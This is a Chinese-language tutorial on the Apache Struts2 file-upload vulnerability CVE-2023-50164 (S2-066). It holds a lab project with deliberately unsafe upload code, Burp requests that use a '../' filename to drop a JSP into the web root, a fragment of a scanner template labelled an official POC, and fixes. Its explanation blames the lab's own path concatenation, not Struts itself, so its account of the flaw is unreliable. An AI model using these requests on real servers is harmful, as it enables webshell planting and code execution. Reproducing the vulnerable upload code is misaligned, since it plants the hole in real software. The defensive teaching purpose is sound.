Apache Struts2 漏洞解析 (CVE-2023-50164)(S2-066)
字数 1739 2025-08-18 11:36:53

Apache Struts2 漏洞解析 (CVE-2023-50164/S2-066) 教学文档

一、漏洞概述

CVE-2023-50164(S2-066)是Apache Struts2框架中的一个高危漏洞,属于文件上传类型漏洞。攻击者可以通过控制上传参数实现目录穿越,如果环境中允许上传危险后缀文件(如jsp文件),攻击者可能结合该漏洞上传webshell至可解析目录,从而执行任意代码。

二、影响范围

受影响版本:

  • 2.5.0 <= Apache Struts <= 2.5.32
  • 6.0.0 <= Apache Struts <= 6.3.0

三、环境搭建

1. 准备工作

工具需求:

  • IDEA 2021(或其他Java IDE)
  • Apache Maven
  • Tomcat服务器

Maven配置步骤:

  1. 下载Apache Maven(推荐3.6.3版本):https://archive.apache.org/dist/maven/maven-3/
  2. 创建本地仓库文件夹(如maven_repository)
  3. 修改Maven配置文件(conf/settings.xml),添加阿里云镜像加速:
<mirror>
    <id>alimaven</id>
    <name>aliyun maven</name>
    <url>http://maven.aliyun.com/nexus/content/groups/public/</url>
    <mirrorOf>central</mirrorOf>
</mirror>

2. 创建Maven项目

  1. 在IDEA中创建新项目,勾选"从archetype创建"
  2. 选择org.apache.maven.archetypes:maven-archetype-webapp
  3. 配置Maven路径和本地仓库路径

3. 添加Struts2依赖

在pom.xml中添加:

<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>6.3.0</version>
</dependency>

4. 关键代码实现

UploadAction.java

package com.struts2;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import java.io.File;

public class UploadAction extends ActionSupport {
    private File upload;
    private String uploadContentType;
    private String uploadFileName;

    // Getter和Setter方法
    public File getUpload() { return upload; }
    public void setUpload(File upload) { this.upload = upload; }
    public String getUploadContentType() { return uploadContentType; }
    public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; }
    public String getUploadFileName() { return uploadFileName; }
    public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; }

    public String doUpload() {
        String path = "D:\\up\\";
        String realPath = path + File.separator + uploadFileName;
        try {
            FileUtils.copyFile(upload, new File(realPath));
        } catch (Exception e) {
            e.printStackTrace();
        }
        return SUCCESS;
    }
}

struts.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="upload" extends="struts-default">
        <action name="upload" class="com.struts2.UploadAction" method="doUpload">
            <result name="success">/index.jsp</result>
        </action>
    </package>
</struts>

web.xml配置

<web-app>
    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>*.action</url-pattern>
    </filter-mapping>
</web-app>

index.jsp页面

<html>
<body>
<h2>文件上传测试</h2>
<form action="upload.action" method="post" enctype="multipart/form-data">
    <input type="file" name="upload" />
    <input type="submit" value="Upload" />
</form>
</body>
</html>

5. 服务器配置

  1. 在IDEA中添加Tomcat服务器配置
  2. 指定Tomcat安装路径
  3. 修复配置(Fix)确保项目部署正确

四、漏洞探测

  1. 通过pom.xml文件确认Struts2版本是否在受影响范围内
  2. 检查文件上传功能是否存在

五、漏洞利用

攻击原理

漏洞利用关键在于控制uploadFileName参数实现目录穿越。攻击者可以修改上传文件的文件名,通过包含../实现路径穿越。

攻击示例

修改Burp Suite请求:

POST /upload.action HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=125875361631274606281213046536

--125875361631274606281213046536
Content-Disposition: form-data; name="upload"; filename="../webapps/ROOT/shell.jsp"
Content-Type: text/plain

<% out.println("Hello, World!"); %>
--125875361631274606281213046536--

官方POC示例

POST /upload.action HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip

------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc.txt"
Content-Type: text/plain

test
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="caption"; {{randstr(4097,4097)
------WebKitFormBoundary5WJ61X4PRwyYKlip--

六、漏洞分析

漏洞根源

  1. 文件上传处理机制:Struts2通过UploadAction类处理文件上传,其中uploaduploadContentTypeuploadFileName三个属性是关键
  2. 路径拼接问题doUpload方法中直接拼接上传路径和文件名,未对文件名进行安全校验
String realPath = path + File.separator + uploadFileName;
  1. 目录穿越可能:当uploadFileName包含../时,可实现目录穿越

关键代码分析

  1. 属性绑定机制

    • upload:对应上传的文件内容
    • uploadContentType:文件类型(自动绑定name属性值+ContentType)
    • uploadFileName:文件名(自动绑定name属性值+FileName)
  2. 文件保存过程

    • 通过FileUtils.copyFile()将上传文件保存到指定路径
    • 路径硬编码为"D:\up",缺乏灵活性

七、防御措施

  1. 升级Struts2版本:升级到不受影响的版本
  2. 文件名校验
    • 过滤../等特殊字符
    • 使用白名单限制文件扩展名
  3. 安全存储
    • 将上传文件存储在web目录外
    • 使用随机生成的文件名
  4. 权限控制
    • 限制上传目录的写入权限
    • 禁用上传文件的执行权限

八、修复建议

  1. 官方补丁:应用Apache Struts发布的安全更新
  2. 自定义修复:修改文件上传逻辑,添加安全校验:
public String doUpload() {
    String path = "D:\\up\\";
    // 校验文件名
    if(uploadFileName.contains("..") || uploadFileName.contains("/") || uploadFileName.contains("\\")) {
        return ERROR;
    }
    // 校验文件扩展名
    if(!uploadFileName.toLowerCase().endsWith(".txt")) {
        return ERROR;
    }
    
    String realPath = path + File.separator + uploadFileName;
    try {
        FileUtils.copyFile(upload, new File(realPath));
    } catch (Exception e) {
        e.printStackTrace();
        return ERROR;
    }
    return SUCCESS;
}

九、参考资源

  1. 官方漏洞公告:Apache Struts官网安全公告
  2. 技术分析:https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
  3. CVE详情:https://nvd.nist.gov/vuln/detail/CVE-2023-50164
Apache Struts2 漏洞解析 (CVE-2023-50164/S2-066) 教学文档 一、漏洞概述 CVE-2023-50164(S2-066)是Apache Struts2框架中的一个高危漏洞,属于文件上传类型漏洞。攻击者可以通过控制上传参数实现目录穿越,如果环境中允许上传危险后缀文件(如jsp文件),攻击者可能结合该漏洞上传webshell至可解析目录,从而执行任意代码。 二、影响范围 受影响版本: 2.5.0 <= Apache Struts <= 2.5.32 6.0.0 <= Apache Struts <= 6.3.0 三、环境搭建 1. 准备工作 工具需求: IDEA 2021(或其他Java IDE) Apache Maven Tomcat服务器 Maven配置步骤: 下载Apache Maven(推荐3.6.3版本):https://archive.apache.org/dist/maven/maven-3/ 创建本地仓库文件夹(如maven_ repository) 修改Maven配置文件(conf/settings.xml),添加阿里云镜像加速: 2. 创建Maven项目 在IDEA中创建新项目,勾选"从archetype创建" 选择 org.apache.maven.archetypes:maven-archetype-webapp 配置Maven路径和本地仓库路径 3. 添加Struts2依赖 在pom.xml中添加: 4. 关键代码实现 UploadAction.java struts.xml配置 web.xml配置 index.jsp页面 5. 服务器配置 在IDEA中添加Tomcat服务器配置 指定Tomcat安装路径 修复配置(Fix)确保项目部署正确 四、漏洞探测 通过pom.xml文件确认Struts2版本是否在受影响范围内 检查文件上传功能是否存在 五、漏洞利用 攻击原理 漏洞利用关键在于控制 uploadFileName 参数实现目录穿越。攻击者可以修改上传文件的文件名,通过包含 ../ 实现路径穿越。 攻击示例 修改Burp Suite请求: 官方POC示例 六、漏洞分析 漏洞根源 文件上传处理机制 :Struts2通过 UploadAction 类处理文件上传,其中 upload 、 uploadContentType 和 uploadFileName 三个属性是关键 路径拼接问题 : doUpload 方法中直接拼接上传路径和文件名,未对文件名进行安全校验 目录穿越可能 :当 uploadFileName 包含 ../ 时,可实现目录穿越 关键代码分析 属性绑定机制 : upload :对应上传的文件内容 uploadContentType :文件类型(自动绑定name属性值+ContentType) uploadFileName :文件名(自动绑定name属性值+FileName) 文件保存过程 : 通过 FileUtils.copyFile() 将上传文件保存到指定路径 路径硬编码为"D:\up\",缺乏灵活性 七、防御措施 升级Struts2版本 :升级到不受影响的版本 文件名校验 : 过滤 ../ 等特殊字符 使用白名单限制文件扩展名 安全存储 : 将上传文件存储在web目录外 使用随机生成的文件名 权限控制 : 限制上传目录的写入权限 禁用上传文件的执行权限 八、修复建议 官方补丁:应用Apache Struts发布的安全更新 自定义修复:修改文件上传逻辑,添加安全校验: 九、参考资源 官方漏洞公告:Apache Struts官网安全公告 技术分析:https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164) CVE详情:https://nvd.nist.gov/vuln/detail/CVE-2023-50164